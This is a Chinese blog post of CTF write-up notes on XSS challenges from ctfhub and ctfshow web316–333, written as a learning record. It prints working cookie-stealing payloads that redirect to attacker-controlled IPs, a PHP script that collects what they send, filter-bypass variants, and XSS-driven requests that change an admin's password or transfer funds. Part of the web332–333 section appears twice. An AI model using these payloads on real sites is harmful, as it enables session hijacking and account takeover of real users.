XSS练习

XSS

ctfhub 反射型xss

做了第二遍,还是看了wp之后才看懂,发现自己还是太菜了,完全没思路

这里看下理解之后的解题过程

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KWV86jeQ-1648285193536)(C:\Users\ASUS\AppData\Roaming\Typora\typora-user-images\image-20220323220334331.png)]

打开之后,是这样的一个网站,已经知道是XSS了,第一步先输出js代码看能不能执行

<script>alert("xss")</script>

发现是可以执行的

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oQfr0Ial-1648285193538)(C:\Users\ASUS\AppData\Roaming\Typora\typora-user-images\image-20220323220540596.png)]

第二个输出框有试了一下,会回显一个success(我到这里就懵了,不知道是干啥的,看了之后才知道这是发送给后台了;寄!!!)

看别人的博客的意思是,后台会把发送过去的数据当成js执行(可能根据题目知道的,毕竟题目就是XSS反射型),到这,我们就需要构造一段恶意的js代码来获取后台的cookie了(flag大概率在cookie中,事实证明也是如此),如果自己没有恶意的js代码,可以访问下面,制造一个js恶意代码

xss平台

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q0MsdF3L-1648285193539)(C:\Users\ASUS\AppData\Roaming\Typora\typora-user-images\image-20220323221359756.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0ZT3u2No-1648285193540)(C:\Users\ASUS\AppData\Roaming\Typora\typora-user-images\image-20220323221428759.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PS1PxAfq-1648285193542)(C:\Users\ASUS\AppData\Roaming\Typora\typora-user-images\image-20220323221455083.png)]

将最下面的js代码复制,将题目url拼接,记得加上?name

为什么要这样弄?

如果你随便弄个url:http://www.baidu.com?name=js代码,后面的js代码不会执行而想上面呢样构造,相当与在第一个输入框中输入js代码,只不过一个获取的是自己的cookie,一个获取的是后台的cookie了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tSSOS134-1648285193542)(C:\Users\ASUS\AppData\Roaming\Typora\typora-user-images\image-20220323221815849.png)]

ctfshow

web316

反射性xss

先说下这个题的坑,这个题需要admin权限;如果用网上的xss平台,相当于自己插自己,没有权限,得不到flag,所以要自己写个脚本来获取flag

在自己服务器上写了一个脚本x.php(我是在外网服务器上写的,本地没有权限就没试)

<?php
$concent=$_GET[1];
if(isset($concent)){
	file_put_contents('flag.txt',$concent);
}else{
	echo 'nonono';
}
?>

再将xss语句写入

<script>document.location.href='http://xxxx/x.php?1='+document.cookie</script>

直接查看flag.txt文件即可

为啥不能用xss平台!!!

搞了几个小时,问了群主,终于明白了,原先的思路是

访问用xss平台构造的js代码后,后台bot每过几秒钟也会访问一次,并将后台的cookie返回到平台上,但是在平台上却没有发现后台的cookie,

问了群主才知道有可能是js代码问题(完全没想到是这么回事),如果后台执行js代码,失败就不会后台的cookie,相当于自己x自己了

这样就只出现了我们在客户端时得到的cookie

解决方法:换个平台或许可以,最好还是用自己搭建的,一次就成功了

为什么执行js代码会失败?!!!

看到群主 web322视频时才知道,原来过滤了地址中的xss字符,意思就是如果你的地址中有xss的话,那么这个js代码就会执行失败,我还以为过滤了xss是不能出现xss,原来是地址中不能出现

笑了,搞了半天,tm的是我理解有问题

web317

<script>alert(1)</script>

没有反应,网上博客说是过滤了script,换其他的写法就行

payload:

第一次: <body onload="window.location.href='http://xxxx/x.php?1='+document.cookie"></body>
第二次: <img src="随便在网上找个图片" onload="document.location.href='http://xxxx/x.php?1='+document.cookie"/>
<img src="不可能存在的图片" onerror="document.location.href='http://xxxx/x.php?1='+document.cookie"/>

web318

试一下上一题的payload

发现用img,没有没有执行,应该是过滤了img,换一个

第一次 <body onload="window.location.href='http://82.157.161.5/xiaobai.php?1='+document.cookie">22</body>
第二次 <iframe onload="document.location.href='http://82.157.161.5/xiaobai.php?1='+document.cookie">dsadsad</iframe>

我主要使用的是onload事件属性,过滤了img,再换一个支持onload属性的标签就行(前提是onload没被过滤了)

支持onload事件的HTML标签有:“body”、“frame”、“frameset”、“iframe”、“img”、“”、“link”、“script”、“style”。

web319

不知道又过滤了啥

payload用上面两个都行,这个脚本可以实现通杀,因为一般都不会将这个标签过滤(不是我说的)

web320,321,322

试了半天不知道过滤了啥,空格被过滤了,换成注释符,(/),tab即可。如果有其他的,之后再补充

第一次:<body/**/onload="window.location.href='http://xxxx/x.php?1='+document.cookie">222</body>

第二次:<body/onload="window.location.href='http://82.157.161.5/xiaobai.php?1='+document.cookie">22</body>

320,321,322写在一起是因为同一个payload能一直过,而且不知道增加过滤了什么

web323,324,325,326

过滤了iframe,肯定过滤的不止iframe,但是不知道过滤了啥,看群主视频,一个payload一路通

payload

<body/onload="window.location.href='http://82.157.161.5/xiaobai.php?1='+document.cookie">22</body>

据y4师傅说324过滤了;,325过滤了.,326过滤了括号

web327

存储型xss(前端—>后端---->数据库----->后端----->前端)

变成了信的格式

试了几次,都是网络拥堵,麻了,思路还是没有打开

看视频,收件人必须是admin,可以在发件人或者内容处写上payload,想不到(因为要获得管理员的cookie,所以收件人是admin,哈哈)

payload:

<body/**/onload="window.location.href='http://xxxx/x.php?1='+document.cookie"></body>

web328

第二次:

整理下思路,现在是能注册,能登陆,但是要看用户信息需要管理员,盲猜flag在用户信息中,现在需要的是管理员的cookie就可以查看用户信息了

现在是拿管理员cookie,有个这样的页面

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VYByowhw-1648285193543)(C:\Users\ASUS\AppData\Roaming\Typora\typora-user-images\image-20220325202232075.png)]

当我们注册后,就会把我们的信息显示到这里;注册一下,登陆

试了半天,发现上面的payload不能用,回到最原始的

<script>window.location.href='http://82.157.161.5/xiaobai.php?1='+document.cookie</script>

成功拿到管理员cookie,替换cookie,但是应该用admin登陆会执行我们的js代码,发生页面跳转,所以我们要抓取没跳转之前页面,burp抓包就可以,

注意:要抓取的是http://c059afd5-89e7-405b-8dd2-499876300c26.challenge.ctf.show/api/?page=1&limit=10这样的

第一次:

变成了登录框,先随便注册个账号,登上去发现需要管理员的权限才能查看账号密码,如果我们将js语句写入账号或者密码中,只有登陆管理员账号才能执行js语句,所以我们第一步要先获取管理员的cookie,注册个账号,账号或密码为

<script>=window.location.href='http://82.157.161.5/xiaobai.php?1='+document.cookie</script>

个人猜测,当注册成功时,后台服务器会进行刷新,从而执行js语句,得到管理员cookie

得到管理员cookie后,将我们自己的cookie改为管理员的,点击用户管理,bp抓包(注意有两个数据包,我们要的是后面的数据包),得到flag

web329

第二次:

页面和上一题一样,但是用同样的方法得到的cookie却不是管理员的cookie,换了js代码试了,发现还是不行,原来群主设置管理员访问完页面之后cookie就失效了,拿不到cookie,那我们就直接拿管理员页面下的网站内容

<script>window.location.href='http://82.157.161.5/xiaobai.php?1='+document.querySelectorAll(".laytable-cell-1-0-1")[1].innerHTML</script>

这个js代码的意思是拿取第二个class为laytable-cell-1-0-1的标签内容

为什么拿这个?

因为这个标签内容就是flag,至于怎么找到的,F12慢慢找

第一次:

和上一个题一样都是个登陆页面,刚开始步骤一样,注册个js语句的账户,查看管理员的cookie,修改cookie,bp抓包,但是抓包之后查看数据还是不行,猜测应该是后台管理员每访问一次都会登出,使得我们获得的cookie无效

我们可以写个js语句,直接将flag发送到我们的服务器上,而不是cookie

payload:

<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show{')>-1){window.location.href='http://39.107.88.196/x.php?1='+value.innerHTML;}});</script>

注意:如果有步骤失败,最好重启容器,防止污染数据,eg:之前注册了获取cookie的账号,呢么每次访问时都会向我们的服务器发送cookie,从而使我们得不到flag

web330

第二次:

比上一个题多了个修改密码的功能,用上一题的方法得到的都是******,登陆之后才能修改密码,登陆的我们的账号,只能修改我们的密码,但是我们想要的是管理员的密码,但我们自己又不能修改管理员的密码(因为要先登陆),所以就只能管理员改自己的密码了

抓包,看下修改密码的url是什么

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-V2zFGUR7-1648285193544)(C:\Users\ASUS\AppData\Roaming\Typora\typora-user-images\image-20220326092917632.png)]

修改密码的数据包是这个(我傻乎乎的在看源码发送数据到哪)

<script>window.location.href='http://127.0.0.1/api/change.php?p=111'</script>

等一会,再用admin登陆

用容器的url地址,没有成功,母鸡哎

第一次:

比之前多了项修改密码,意思是要我们修改密码,呢要修改谁的密码才有用呢,肯定是管理员的,如何修改

我们可以bp抓取修改密码的数据包,因为要求管理员改自己的密码,那地址就是127.0.0.1

payload:

<script>window.location.href='http://127.0.0.1/api/change.php?p=111';</script>

密码修改成功后登陆,bp抓包,看flag

web331

第二次:

功能和上个题一样,但是修改密码改成了POST传参

用js实现post传参,用到了ajax

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'111'}});</script>

第一次:

修改密码时,改为了POST传参

payload:

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123'}});</script>

web332

第二次:

多了转账汇款,个人账户,购买flag,flag变成要买的了

注册个账号,刚开始有5快,试了试给自己转钱,发现不掉钱而且钱还多了,直接开转;转了差不多10次,转了10000

第一次:

变成了购买flag

非预期解:注册两个账户,用其中一个给另一个转账-99999,就可购买flag

web333

第二次:

还是可以自己给自己转

第一次:

非预期解:存在逻辑漏洞,注册个用户,然后给自己转账

预期解:

注册个账户,让管理员给我们的账户转钱

payload:

<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'111',a:'10000'}});</script>

参考:

购买flag,flag变成要买的了

注册个账号,刚开始有5快,试了试给自己转钱,发现不掉钱而且钱还多了,直接开转;转了差不多10次,转了10000

第一次:

变成了购买flag

非预期解:注册两个账户,用其中一个给另一个转账-99999,就可购买flag

web333

第二次:

还是可以自己给自己转

第一次:

非预期解:存在逻辑漏洞,注册个用户,然后给自己转账

预期解:

注册个账户,让管理员给我们的账户转钱

payload:

<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'111',a:'10000'}});</script>

参考:

https://blog.csdn.net/solitudi/article/details/111568030

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值